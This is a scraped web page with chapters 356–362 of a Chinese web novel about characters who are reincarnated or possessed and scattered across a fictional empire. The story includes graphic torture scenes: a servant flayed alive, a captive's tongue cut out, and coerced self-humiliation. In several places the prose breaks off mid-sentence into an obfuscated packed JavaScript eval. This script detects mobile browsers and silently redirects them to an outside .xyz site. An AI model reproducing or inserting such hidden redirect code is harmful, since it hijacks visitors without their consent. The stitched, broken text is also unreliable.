他的声音干涩沙哑,像两块砂纸在摩擦。 黄牙愣了下,随即和同伴们爆发出哄堂大笑。 “我呸!你这臭道士,咒你爷爷我?我看你就是活腻了!” 他抬脚便要踹过去。 玄清却没看他,只是扭头,望向街角那座酒楼的飞檐,喃喃道:“不是别人的血,是你自己的……别从东市口走,那儿的瓦,要掉。” 第356章 算命的道人 …… 半个时辰后,东市口传来阵惊呼。 黄牙捂着头,血顺着指缝流下来,他怎么也想不通,好端端的,那家酒楼新修的房檐上怎么会掉下来片瓦,不偏不倚,就砸在他头上。 这事很快就在码头这片传开了。 第二天,城里最大的绸缎庄老板钱掌柜,亲自找到了桥洞。 他最近有批顶级的苏绣运不出关,急得嘴上起了燎泡,听闻此事,便抱着死马当活马医的心态来了。 钱掌柜捏着鼻子,看着眼前这个比乞丐还邋遢的道人,递过去锭银子: “道长,劳烦给算算,我那批货还有没有指望?” 玄清没看银子,只盯着钱掌柜的鞋面。 那上面沾着些暗红色的泥土和几不可见的草屑。 他的手本能地掐算起来,就好像这种事他天生就会,已经做了无数次。 闭上眼,脑中又是阵混乱的闪烁。 “车队在城西三十里外的关帝庙里。”他缓缓开口,“人没事,只是车轴断了根,同行的镖师里有个姓刘的,左腿受了伤。明日就能修好,后天一早,货就能到。” 钱掌柜将信将疑地走了。 两天后,钱掌柜的商队果然回来了,情形与那道人所说分毫不错,连镖师姓刘、伤在左腿这种细节都对得上。 这下,整个西南小城都轰动了。 …… 第三天,玄清不是被人找到的,是被人“请”走的。 知府衙门的轿子直接抬到了桥洞边,他被两个衙役架着,带进了府衙后堂。 知府周大人屏退左右,亲自给他上了茶。 “听闻先生有神算之能,本官……近来心绪不宁,想请先生解惑。”周大人面色凝重,眼底藏着深深的忧虑。 玄清捧着茶杯,热气氤氲着他那张依旧没什么表情的脸。 他看着眼前这位官威十足的知府,看的却不是他的官相,而是他身后那片虚无的背景。 许久,他才轻声道:“大人官运亨通,无需忧虑。只是……您府上那口井,水已经坏了。” 周大人脸色骤变! 他后宅确实有口从不使用的枯井,两天前,他最宠爱的小妾失足坠井,他怕传出去影响不好,便瞒着所有人,悄悄用土石给填了。 此事天知地知,再无第三人晓得! “你……”周大人惊得从椅子上站起,指着他,说不出话来。 玄清却像是没看到他的失态,继续梦呓般说道:“**不算,活人也喝不得。水里有东西,再不填死,恐祸及满门。” 周大人当场冷汗就下来了。 他想起小妾死前,确实提过那井里晚上有奇怪的声音。 他再看那道人时,眼神里已经没了试探,只剩下敬畏与恐惧。 自此,桥洞下的邋遢道人,成了知府大人的座上宾,被尊为“在世仙师”。 他被安置在城中最雅致的别院里,锦衣玉食,仆从环绕。 可他对这些恍若未见。 他只是终日坐在院中的石凳上,望着东北方向的天空发呆。 他还是记不起自己是谁。 但他总觉得,在那个方向,很远很远的地方,有座宏伟的都城。 城里,有个人在等他。 他得去找她。 某个清晨,当仆人推开房门时,里面早已人去楼空。 上好的绸缎衣物叠得整整齐齐,满桌的金银分文未动。 只有那身洗得发白的破旧道袍,不见了。 此时的玄清,已经走在出城的官道上。 他步履不快,却异常坚定,迎着晨光,走向那片他一无所知,却又无比吸引他的京城。 …… 大雍南境,罗州城。 赵家那活过来的小公子,要去府城最有名的云山书院读书。 这消息一传出来,赵家夫妇差点没再晕过去。 好不容易从鬼门关抢回来的独苗,身子骨好不容易养得能见风了,怎么又要去折腾。 可赵小公子却铁了心。 他不再是那个温顺听话的病秧子,他只是安静地坐在那儿,眼里的东西,让赵员外夫妇不敢再多说半个不字。 虽然很难说清楚,但是他们确确实实感觉到了,自家的儿子自从这次大病之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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赵无咎终于抬起头,看了他一眼,那眼神平静得像一汪深潭。 “可以。”他只说了两个字,便将那本厚厚的书册拿过来,从头到尾,不疾不徐地翻了一遍。 一炷香的功夫都不到。 然后,他将书合上,递还给王子渊。 “尔来无程,是故不过。……” 他开口了。 第357章 要去京城 声音不大,却字字清晰,抑扬顿挫,仿佛那书里的每个字都早已刻进了他的骨血里。 他不仅背了,甚至连那些最冷僻的注疏都一字不差。 众人从一开始的等着看笑话,到惊愕,再到最后,整个学堂鸦雀无声,只剩下他平稳的语调在回荡。 王子渊的脸,从红到白,再到青。 这还没完。 第二天,院里举行文会,以“江雪”为题作诗。 王子渊苦思冥想,得了一联“雪舞天地阔,冰封**遥”,一股磅礴的北国气象扑面而来,自以为意境绝佳,颇为自得。 他看向赵无咎,带着几分扳回一城的意思。 赵无咎正看着窗外出神,被夫子点了名,才懒懒地站起身,随口道:“孤舟蓑笠翁,独钓一江雪。” 仅仅十个字,意境却一下子飘然直上九霄。 瞬间震惊四座。 连夫子都赞叹不已。 第三次,是策论课上,议题是“北地蛮族屡犯边境,何以安之”。 王子渊引经据典,大谈教化与和亲。 赵无咎却只提了三件事: 修驰道,利粮草速运;改军制,设战功爵位;开互市,以盐铁控其命脉。 每一条都闻所未闻,却又直指要害,带着一股子不属于这个时代的冷酷与精准。 连一向古板的夫子都听得入了神,久久不语。 三番下来,再无人敢小觑这个来自罗州的病弱公子。 王子渊更是见了他就绕道走。 “天才”之名,这下是坐得实实在在。 …… 这日午后,书院门口忽然一阵骚动。 一辆华丽的马车停下,车帘掀开,走下来一位少女。 身着藕荷色罗裙,云鬓高挽,眉如远黛,眼若秋水,当真是人比花娇。 众人看直了眼,纷纷猜测是哪位大人家的千金。 少女却径直走到学堂外,对着窗口那个清瘦的身影,露出一抹羞怯又欢喜的笑。 “无咎表哥。” 原来竟是赵小公子那位花容月貌的表妹,柳清妍。 她不远几十里地,亲自送来了换季的衣物和亲手做的糕点。 赵无咎被她从书本里唤回神,眉头几不可察地蹙了一下。 他走出学堂,柳清妍立刻迎上来,将食盒递给他,声音娇软: “表哥,你又清减了。我炖了你最爱喝的莲子羹……” “我不爱喝。”赵无咎打断了她,语气平淡,听不出情绪。 柳清妍的笑容僵在脸上。“你以前……” “那是以前。”他接过东西,只道了句,“多谢,你回去吧。” 那疏离的态度,比冬日的寒风还冷。 柳清妍咬着唇,眼圈一下子就红了。 她鼓起平生最大的勇气,拉住他的衣袖,仰头看着他,声音带着哭腔: “表哥,我……我心悦你!自小便心悦你!你为何要对我如此冷淡?” 四周,那些看热闹的学子们发出一阵压抑的惊呼。 赵无咎却好似丝毫不为所动,目光越过她,望向了东北方的天空。 那里目之所及是连绵的群山,但在群山之外,是遥远的京城。 他想起了一个人。 一个故人。 一个时而清冷,时而热烈,会嘲笑他,会嫌弃他那些“破烂”,却也会在危急关头毫不犹豫挡在他身前的人。 他心里,早就被那个人塞满了,再也装不下别的东西。 他轻轻抽回自己的衣袖,看着眼前的泪美人,说出的话没有半分转圜的余地。 “表妹,你的心意我担不起。” “我的路,不在罗州,也不在这里。” “你,另觅良人吧。” 说完,他转身回了学堂,再没回头看一眼。 他得快一点。 再快一点。 他要考到京城去。 他要知道,那个他心心念念的人,到底在不在那里。 …… 头痛欲裂。 像是有无数根烧红的钢针,正反复穿刺着他的脑髓。 萧玦的意识从一片混沌的黑暗中艰难浮起,最先恢复的,是嗅觉。 阴冷,潮湿,混杂着浓得化不开的血腥气与药草味。 这个味道…… 他想睁开眼,却发现做不到。 但他确定他还活着。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16063019|165820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下一瞬,他的脑子里,像是被强行塞进了一座不属于自己的数据库,无数纷乱的画面、冰冷的记忆、残忍的杀戮技巧……正疯狂地奔涌、冲撞。 这些记忆的主人,是一个男人,一个视人命如草芥的,黑暗中的主宰。 而他,萧玦,此刻就在这具身体里。 就在他试图理清这一切的时候,一个声音,毫无征兆地在他脑海最深处响起。 那声音不带任何感情,像是从万年玄冰下传来,每个字都带着彻骨的寒意。 【你是谁。】 萧玦的心脏猛地一缩。 因为之前在做的事情,他很快猜测到了此时此刻自己的处境。 他瞬间明白,这具身体的原主,那个可怕的男人,他的意识并未消散。 穿越,夺舍……这些只在小说里看过的词汇,电光石火间在他脑中炸开。 他,一个来自现代的灵魂,闯入了这个古代强者的躯壳里,成了一个不速之客。 【我的脑子里,为何会有你的存在?】 那个声音再次响起,带着一丝极细微的、探究的困惑,仿佛一个神明在审视自己完美作品上突然出现的一粒尘埃。 【难道是……走火入魔,生了心魔?】 萧玦强压下心头的骇浪,他知道,此刻任何一丝慌乱都可能让他万劫不复。 他必须在最短的时间内,骗过这个怪物。 他收敛起自己所有的思绪,将自己的意识蜷缩成一团,模拟出一种最卑微、最恐惧的形态,小心翼翼地传递出一缕意念。 “主人……我……我不知……我只是一缕无家可归的孤魂,不知为何会在此处……求主人开恩……” 他赌对方的自大。 一个习惯了掌控一切的人,绝不会相信有外来者能侵入他的领域。 他只会将这异常,归结为自身的问题。 果然,那冰冷的声音沉默了片刻。 【孤魂?】 【有意思。既入我识海,便为我之物。现身,让我看看,你是个什么东西。】 来了! 萧玦等待的就是这一刻。 他假装迟疑、恐惧,然后顺从地,将自己的意识凝聚成形。 第358章 他杀**自己 这里是一片无边无际的虚空,纯粹的、令人窒息的黑暗。 在他的对面,一团更加深邃的黑影缓缓凝聚,那黑影没有五官,没有形态,却散发着君临天下般的恐怖威压,仿佛整个虚空都因他的存在而凝固。 萧玦意识到,这就是那男人的意识核心。 萧玦的意识体,则是一个模糊的、瑟瑟发抖的虚影,他“跪”伏在地,将姿态放到了最低。 “主人……我……我能为您带来您想要的一切。”萧玦的声音里充满了诱惑,“我知道这片天地之外的事,我知道如何让您的‘兵器’更锋利,如何让您的‘棋子’更听话……我甚至知道,您为何会困于这方寸之地……” 那团黑影似乎被他的话勾起了兴趣,那股恐怖的威压,有了一丝微不可查的松动。 【说下去。】 “我来自另一个世界……那里有迥然不同的规则,有您无法想象的知识。只要您留下我,我愿将所有的一切都献给您,助您……打破桎梏,君临天下!” 萧玦将自己的现代知识,包装成了来自“天外”的秘辛。 那团黑影沉默了。 它在思考,在权衡。 一个绝对的掌控者,最无法容忍的,是未知。 而萧玦,抛出的正是一个巨大的,充满诱惑的未知。 许久,那冰冷的声音再次响起,带着一丝施舍般的傲慢。 【好。那我便暂且留下你这只蝼蚁,看看你能吐出什么**。】 他放松了警惕。 就在这一瞬间! 那道跪伏着的、卑微的虚影,猛地暴起! 他不再是孤魂,不再是蝼蚁,他的意识化作一柄最尖锐、最不讲道理的利刃,凝聚了现代人所有的狡诈、自私与疯狂,狠狠地刺向了那团深邃的黑暗! 【你敢——!】 那团黑影爆发出惊怒的咆哮,恐怖的威压瞬间暴涨,想要碾碎这个胆大包天的入侵者。 可已经晚了。 萧玦的意识像一滴墨,滴入了清水,迅速地、蛮横地污染、同化、吞噬—— “你的时代,结束了!”萧玦在意识里狂笑着,“从现在起,我就是你!” 那咆哮声渐渐微弱,最终,化作不甘的呜咽,彻底消散。 整个虚空,重归寂静。 …… 密室里,躺在硬木板上的男人睁开了眼睛。 这一次,那双眸子里,不再有属于原主的、高高在上的冰冷,取而代之的是萧玦那熟悉的,带着几分邪气的精明与得意。 他成功了。 他成了这具身体的新的主人。 他带着一丝胜利者的惬意,活动了一下手脚,准备从木板上坐起来。 然后,他僵住了。 他缓缓地、带着一丝难以置信的僵硬,低头看向自己的身体。 视野里,右臂完好无损,充满了**性的力量。 而左边,从肩膀往下,空空如也。 他再看向自己的双腿。 左腿健壮有力。 而右边,从膝盖以下,同样是空的。 天残。 这具身体,竟然也是一副天生的残躯! 而且,刚好与他在现代那具身体的残缺部位,完美地,凑成了一个……笑话。 “不……不!!!” 密室里,响起一声压抑到极致,却又因愤怒而扭曲变形的咆哮。 他好不容易摆脱了那副残破的皮囊,穿越到这个世界,结果……结果老天爷跟他开了这么一个恶毒的玩笑! 暴怒之下,他用仅存的右手,狠狠一拳砸在身下的硬木板上。 “轰——!” 一声巨响。 那张由整块厚实硬木制成的床板,竟被他一拳砸得四分五裂,木屑纷飞! 萧玦愣住了,他缓缓抬起自己的右手,看着那完好无损的拳头,又看了看一地的碎木。 这具身体里……蕴藏着匪夷所思的力量。 他眼中的暴怒与不甘,渐渐被一种新的、更加炽热的东西所取代。 他低头,打量着这具新的躯壳。 密室里没有镜子,他摸索着找到一盆清水,勉强能映出倒影。 青铜面具已被他随手丢开,露出的,却是一张他熟悉到不能再熟悉的脸。 他自己的脸。 萧玦的心跳漏了一拍。 他终于明白了一切。 为什么会来到这里,为什么是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16074955|165820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那个男人。 以及那些梦境。 他明白了之前的所有事。 他为何会闯入那个男人的梦境,为何会以他的视角,看着月娘,看着姜飞飞……因为那根本不是别人的梦。 那是他自己。 是这个时空里,另外的他,或者说,另外的半个他。 而就在刚才,为了活命,他用一个现代灵魂最卑劣的手段,绞杀了属于这具身体的原生意识。 他亲手,杀**自己。 这个念头让他背脊窜起一股寒意,但很快,就被一种更加灼热的野心所覆盖。 **就**。 一个只会躲在暗处,靠折磨女人来彰显威严的废物,凭什么占据这样强大的力量? 从今往后,世上只有一个萧玦。 他再次活动了一下手脚,坐上轮椅,才后知后觉地适应了这具身体的残缺。 左臂与左腿的空荡感,曾是他前半生所有自卑与怨毒的根源。 可现在,他只觉得无所谓。 他有这个时代无人能及的知识,有这具身体里毁天灭地的力量。 他要在这片陌生的大地上,建立起属于自己的秩序。 思索了一会儿,他心情大好。 又开始向别的。 他想起“死”之前的事。 既然自己来到了这里,那朱七妹她也一定来了。 他一定要找到她。 这个女人,他跟她绝没有完。 还有秦绵绵,她一定也来了。 她处心积虑要穿越到此处,一定不会轻易放弃的。 他也要找到她。 至于找到她以后做什么…… 他想起了记忆中月娘的那张脸,或者说,就是秦绵绵的那张脸。 他慢慢检索着男人留下来的记忆里,折磨训练月娘的那些画面。 心里忽然好想起了一丝奇异的情绪。 这是一种很陌生的情绪,萧玦觉得奇怪,更重要的是,这种感觉,不知道是属于他自己的,还是男人遗留下来的。 他很快把这种异样从心里挥散而去。 就在这时,密室的石门外,传来极其轻微的脚步声,随即是恭敬的叩门声。 第359章 姜飞飞逃走了 “谁?” 萧玦的声音,已然带上了那男人惯有的、不容置疑的威压。 门被无声地推开,一道纤弱的身影端着水盆,低眉顺眼地走了进来,准备伺候他。 是姜飞飞。 萧玦的瞳孔猛地一缩。 无数属于原主男人的记忆碎片,如潮水般涌入脑海。 他“看”到这具身体的主人,是如何将一个鲜活的女子,用药石、金针、与无尽的痛苦,一点点打磨成一件精致悦目的玩物。 他甚至能清晰地感受到,每一次施虐时,那男人心中病态的满足与快意。 一股混杂着厌恶、怜悯与占有欲的复杂情绪,冲上了萧玦的心头。 姜飞飞是他的妹妹,即便在现代,他对这个名义上的妹妹并无多少亲近,但也绝不容许旁人如此践踏。 “以后,不用你伺候了。”他开口,声音比想象中要柔和许多。 姜飞飞的身体几不可察地一僵,随即抬起头,脸上是恰到好处的惊喜与受宠若惊,那双水汪汪的眼睛里,眼波流转,媚态横生。 “谢……谢主人垂怜。” 这副模样,让萧玦脑中瞬间闪过原主记忆里,她无数次被训练到媚态横生,刻意勾引的画面。 他心中那点刚升起的怜惜,瞬间被强烈的厌恶所取代。 “滚出去。”他的声音陡然转冷,“收起你那套下作的把戏,以后,好好做个人!” 姜飞飞脸上的媚色瞬间褪得干干净净,只剩下煞白的惊恐,她哆嗦着跪倒在地,重重磕了个头,便连滚爬爬地退了出去。 石门缓缓合上。 …… 姜飞飞一路跑回自己那间简陋的偏院,将门死死闩上,才背靠着门板,大口大口地喘着粗气。 她的脸上,再无半分柔弱与惊恐,只剩下死寂的冰冷。 他今天,是什么意思? 先是温柔,再是暴怒……这种喜怒无常,她只经历过一次。 那是她刚被带进这座大宅没多久,实在受不了那种将人活活改造成器的折磨,她策划了一次逃跑。 她以为自己成功了。 可就在她逃出城门,看到自由的曙光时,那个男人,就坐在轮椅上,静静地等在官道中央。 他没有发怒,甚至对她笑了笑,语气温柔得像是在哄不听话的孩子。 他说:“飞飞,玩够了,该回家了。” 那一次,她被带回来之后,承受了她此生都无法忘怀的、地狱般的折磨。 他绑来了帮她逃跑的厨房哑奴,逼迫他在暴雨里鞭打她。 打到她体无完肤之后,再缓过来,让她鞭打那个哑奴。 姜飞飞不愿意,哭着求饶, 他就将她绑在椅子上,让她亲眼看着,那个曾偷偷给她递过半块饼子的厨房哑奴,被一寸寸地剥皮至死。 他甚至还强迫她,在他折磨那个哑奴的间隙,为他抚琴助兴。 又让她不停起舞,脸上还必须挂着他指定的、扭曲而僵硬的笑容。 直到哑奴失去声息。 从那天起,她就彻底绝了逃跑的念头。 可现在,他又露出了那种温柔。 她感觉自己快要**。 不,她不能死。 她要逃。 …… 萧玦在密室里待了整整一天,才彻底适应了这具身体和脑子里那些驳杂的记忆。 他决定先去安抚一下姜飞飞。 不管怎么说,那也是他萧玦的妹妹。 他凭着记忆,亲自下厨,做了一碗现代口味的肉粥。 当他端着粥来到姜飞飞居住的偏院时,闻到的却不是女子闺房的馨香,而是一股浓郁的血腥气。 院门虚掩着。 他推门而入,看到的是两具倒在血泊中的侍女尸体。 两名侍女脸上还保持着临死前的错愕。 她们的身体上满是伤痕,触目惊心。 手脚也被折断,摆成扭曲的不似人形的形状。 血腥而诡异。 而致命伤,则是她们眉心处那个细小的血洞,仿佛被某种无形的利器从内部贯穿。 手段干净、狠绝。 萧玦一眼就认出,这是原主教给姜飞飞的独门暗器手法——“惊鸿刺”。 那个女人,跑了。 还用他教的功夫,杀了他的人。 “好……好得很!” 萧玦气得发笑,他将手中的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16074956|165820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 粥碗狠狠砸在地上,发出清脆的碎裂声。 一股被背叛、被挑衅的暴怒,席卷了他全身。 他对着空无一人的庭院,声音冷得像是能冻结空气: “鬼影。” 一道漆黑的影子,仿佛从地面的阴影里渗透出来,悄无声息地跪伏在他身后。 那人全身都笼罩在黑衣之中,不辨男女,身形如同鬼魅,气息若有似无。 “主人。”鬼影的声音,像是两块砂石在摩擦。 “去。”萧玦的眼神阴鸷得可怕,“把她带回来……我要活的。” …… 京城。 镇国侯府与安乐郡主府,只隔着一条街。 一边是朱漆剥落,蛛网结于梁上,野草从石缝里长出,在风中萧瑟。 另一边却是车马盈门,通明的灯火将半边夜空都映得亮如白昼。 青川的身影如同一抹融于暗夜的鬼魅,悄无声息地翻过郡主府高高的院墙。 他怀里揣着一个冰凉的瓷瓶,那是云承月用尽心力研制出的药,或许,是他们最后的希望。 他躲在假山后,看着那个熟悉的身影。 曾经的大雍战神,镇国侯裴应见,此刻穿着最下等的仆役青衣,正跪在地上,用一块布,一丝不苟地擦拭着通往主屋的白玉石阶。 他的神情,是青川从未见过的虔诚与满足,仿佛擦的不是冰冷的石头,而是通往神祇座下的圣途。 青川的心,像被一只手狠狠攥住。 他发出声极轻的鸟鸣,那是他们之间独有的暗号。 擦地的男人动作顿了顿,抬起头,望向他的方向,眼神里却是一片空洞的茫然,没有半分波澜。 就好像,那声音只是风过林梢。 青川的希望,沉下去一截。 他不能再等了。 他闪身而出,低声喝道: “侯爷!” 男人闻声,终于站了起来。 他看着青川,就像在看一个凭空出现的、肮脏的障碍物。 那双曾锐利如鹰的眸子里,只剩下冰冷的厌恶。 “你是谁?”他的声音沙哑,带着长久未曾与外人交谈的滞涩,“谁准你闯进郡主府的?” 第360章 她好像有了心 “侯爷,是我,青川!”青川急步上前,掏出怀里的药瓶,“您醒醒!您被那妖女控制了!这是云先生配的药,您快喝下!” 药瓶还没递到跟前,一股劲风就已扑面而来。 裴应见出手了。 没有招式,没有章法,只有最纯粹的、要将眼前这个“亵渎者”撕碎的杀意。 那只曾和他们共同进退的手,此刻却化作了最狠厉的爪,直取青川的咽喉。 青川骇然,连连后退,勉力招架。 “侯爷!您看看我!我是青川啊!” 他声声泣血,试图唤醒他那沉睡的记忆。 可回应他的是更加狂暴的攻击。 裴应见像是被彻底激怒的野兽,招招致命,毫不留情。 青川本就有伤在身,加上不敢下死手,很快便落了下风,被一脚踹中胸口,重重撞在廊柱上,喉头一甜,呕出一口血来。 裴应见一步步走上前,居高临下地看着他,眼中没有丝毫怜悯,反而透着一股献祭般的狂热。 他俯身,像拖一条死狗般,拽着青川的衣领,拖着他走向那灯火最盛的主屋。 “竟敢污蔑她……我要把你献给主人,她一定会高兴的。” 月娘斜倚在铺着白狐裘的软榻上,正百无聊赖地拨弄着一串东珠。 当裴应见拖着半死不活的青川进来,像献宝一样将人扔在她脚下时,她连眼皮都没抬一下。 “一个不知死活的闯入者,也值得你弄脏我的地毯?” 她的声音没有起伏,像冰面下的流水,听不见,却寒气彻骨。 裴应见脸上的狂热瞬间凝固,取而代之的是无措与惶恐。 他立刻跪下,头深深叩在地上:“主人,我错了……” “我不想听。”月娘打断他,终于将视线落在他身上,那眼神,像是在看一件不甚满意的器物,“你办事不利,惊扰了我。去院中跪着吧,没我的命令,不许起来。” “是。”裴应见没有半分不甘,反而像是领受了恩典,恭敬地磕了个头,退了出去,笔直地跪在了庭院中央的寒风里。 青川看着这一幕,心如刀割。 他挣扎着想爬起来,却被月娘一脚踩住了手背。 她稍稍用力,骨头碎裂的轻响在安静的殿内格外清晰。 剧痛让青川闷哼一声,冷汗瞬间湿透了后背。 “别急,我不会杀你。”月娘居高临下地看着他,嘴角勾起一抹毫无温度的弧度,“你,还有用。” 青川被关进了地牢,施以酷刑。 地牢阴暗潮湿。 青川被铁链锁在墙上,琵琶骨被穿透的剧痛让他连呼吸都觉得奢侈。 这段时日,他们这些镇国侯府幸存的“余孽”每天东躲西藏,如同丧家之犬。 月娘的势力遍布京城,他们就像网里的鱼,无论怎么挣扎,都逃不出那张无形的大网。 云承月耗尽心血,才配出那一瓶药,却连送到裴应见嘴边的机会都没有。 青川闭上眼,脑海里不由自主地浮现出云承月说过的话。 “……那个叫秦绵绵的姑娘,如果她在这儿,或许……还有转机。” 秦绵绵……如果她真的来了,看到侯爷这副模样,又会是何等绝望? …… 夜深。 月娘独坐在妆台前,望着镜中那张完美无瑕的脸。 她缓缓抬起手,抚上自己的心口。 最近,总有些奇怪的感觉。 身体里,好像多了些什么东西。 一种陌生的、躁动的情绪,像火苗,时隐时现。 那感觉很陌生,却又好像有些熟悉。 就好像是……本来就该是她自己的一部分。 她越想,头越痛,像是有无数根针在脑子里搅动。 终于,眼前一黑,她伏在妆台上,彻底失去了意识。 不知过了多久。 她再次醒来,缓缓抬起头,望向镜中的自己。 镜中人的眉眼未变,可那双眼睛,却全然不同了。 不再是古井无波的死寂,而是燃着一簇幽暗的、跳动的火焰。 那是纯粹的、不加掩饰的恶意。 一种从未有过的感觉,清晰地在胸腔里滋生、蔓延。 她……好像有了心。 一颗因恶毒而跳动的心。 这种感觉 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月娘没看他,目光投向地牢的方向,嘴角噙着一抹探究的笑意。“你的那个朋友,吵得很。” 她伸出涂着丹蔻的指尖,轻轻抬起裴应见的下巴,强迫他看着自己。 “他总说,你是顶天立地的英雄,不该被困在我身边。” 她顿了顿,欣赏着他眸中那片死寂的空洞,声音愈发轻柔:“去告诉他,你不是。告诉他,你跪在我脚下,心甘情愿。告诉他,你爱我胜过爱这世间所有。” 裴应见的瞳孔里,似乎有什么东西挣扎了一下,快得像幻觉。 可他还是顺从地垂下眼帘:“是,主人。” 地牢里,潮气混着血腥味,钻入鼻腔。 青川被吊在墙上,琵琶骨的剧痛让他意识清醒。 铁门被打开,他勉力抬头,看到裴应见走了进来。 他身后,跟着那个如同艳鬼般的女人。 “侯爷!”青川眼中爆发出光亮,挣扎着,牵动铁链哗哗作响,“侯爷你醒了?!” 第361章 割下他的舌头 裴应见走到他面前,站定。 他看着青川,那张熟悉的脸上,没有半分故友重逢的波澜。 “青川。”他的声音平直,不带任何温度,“我并非被她控制。” 青川脸上的希冀凝固了。 “我所做一切,皆为心甘情愿。”裴应见继续说着,每个字都像块烧红的烙铁,烫在青川心上,“我爱慕郡主,早已胜过世间所有功名与道义。” “与你们的所有过往,都是错误,都是愚蠢。”他说着,嘴角还勾起一丝轻蔑的笑,“你们别再愚蠢下去了。” “不……不可能……”青川拼命摇头,血顺着嘴角淌下,“侯爷,你看着我!你看看我!我是青川!” 不是这样的。 他们尊敬崇拜的侯爷,不应该是这样的。 他们曾追随他鞍前马后,去赈灾,去平叛,与各种各样奇诡危险的敌人周旋。 他们曾经一起出生入死。 眼前的人,明明仍旧是他们心目中那个高大伟岸的镇国侯,可是他说出的,怎么能这么冰冷。 他怎么能把过去的一切全盘否认…… 裴应见却不再看他,他转身,向着月娘单膝跪下,执起她的手,虔诚地吻落在她的指尖。 “主人,他太吵了。” 月娘发出一声愉悦的轻笑。她能感觉到,空气里那种名为“绝望”的东西,是如此的美味。 她很满意。 …… 第二日,月娘命人将裴应见带到了她的暖阁。 阁中熏着名贵的龙涎香,桌上摆着时令的鲜果。 她坐于榻上,手里把玩着一柄断裂的古剑。 剑身锈迹斑斑,断口处却依旧能看出昔日的锋利。 “我听说,这是你父亲的佩剑。”月娘用丝帕擦拭着剑身,语气随意得像在谈论天气,“他当年就是握着这柄剑,战死在雁门关的,对么?” 裴应见的视线落在断剑上,喉结少见的滚动了一下。 “愚蠢。”月娘将断剑扔在地上,发出刺耳的声响,“为个摇摇欲坠的王朝,为个多疑寡恩的君主,赔上性命,何其愚蠢。” 她抬眼,看着裴应见,命令道: “说,你父亲,是个蠢货,是个不折不扣的废物。” 裴应见的身躯,第一次出现了明显的僵硬。 他垂在身侧的手,紧紧攥成了拳,指节泛白。 月娘的笑意更深了。 她喜欢这副模样。 这证明这具玩物还没有彻底坏死,里面还有东西可以供她碾碎。 “说。”她的声音冷了下来。 许久,仿佛用尽了全身的力气,裴应见才从牙缝里挤出几个字。 “……我父亲,是个……蠢货……是……废物……” 他的声音嘶哑,带着他自己都未曾察觉的颤抖。 那句话说出口的瞬间,他眸中那片死寂的潭水,终于起了一丝涟漪。 那是极致的痛苦与自我憎恶。 月娘看得入了迷。 原来,摧毁一个人的信念,比摧毁他的身体,要有趣得多。 …… 依旧是在地牢。 青川被拖了出来,跪在地上。 他已不复前日的激动,只是用一双布满血丝的眼睛,死死盯着裴应见,里面是化不开的悲怆。 月娘让人在他们中间摆了张小几。 几上,放着两样东西。 一瓶鹤顶红,见血封喉。 一柄薄如蝉翼的**,寒光凛冽。 “裴应见,”月娘斜倚在搬来的太师椅上,慢条斯理地剥着橘子,“你的朋友太可怜了。我给你个机会,让你来替他解脱。” 她将一瓣橘肉送入口中,甜腻的汁水在舌尖化开。 “你可以选这瓶**,让他死得痛快些。或者……”她指了指那柄**,“用它,割掉他的舌头。如此,他便再也说不出那些烦人的话,我也可饶他一条狗命。” “你选吧。” 地牢里,死般寂静。 青川猛地抬起头,他看向裴应见,眼中竟露出一抹惨烈的笑。 “侯爷!杀了我!”他用尽力气嘶吼,“给我个痛快!别为了我……脏了你的手!” 裴应见没有看他。 他的目光,落在那两样东西上,久久未动。 他缓缓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“你瞧,你救了他。”她伸出指尖,点在裴应见的心口,“你让他再也说不出那些忤逆的话,让他可以安安稳稳地活下去。你是个多么仁慈的人。” 第362章 你是不是看上他了 裴应见的身子,微不可察地晃了晃。 他没有看月娘,目光死死地钉在地上蜷缩成一团、在血泊中无声颤抖的青川身上。 ……有什么东西,正在他的脑海深处,疯狂地撞击着那层厚厚的、名为“服从”的壁垒。 月娘很喜欢他此刻的表情。 那种介于麻木和崩溃之间的挣扎,比任何哀嚎都悦耳。 “看着他。”她命令道,声音温柔得像情人的呢喃,“好好看着你的杰作。记住这种感觉,记住你亲手斩断过去的滋味。” 她就是要让他看。 看他的兄弟,如何因为他而痛苦。 看他守护的一切,如何在他自己手中,变得面目全非。 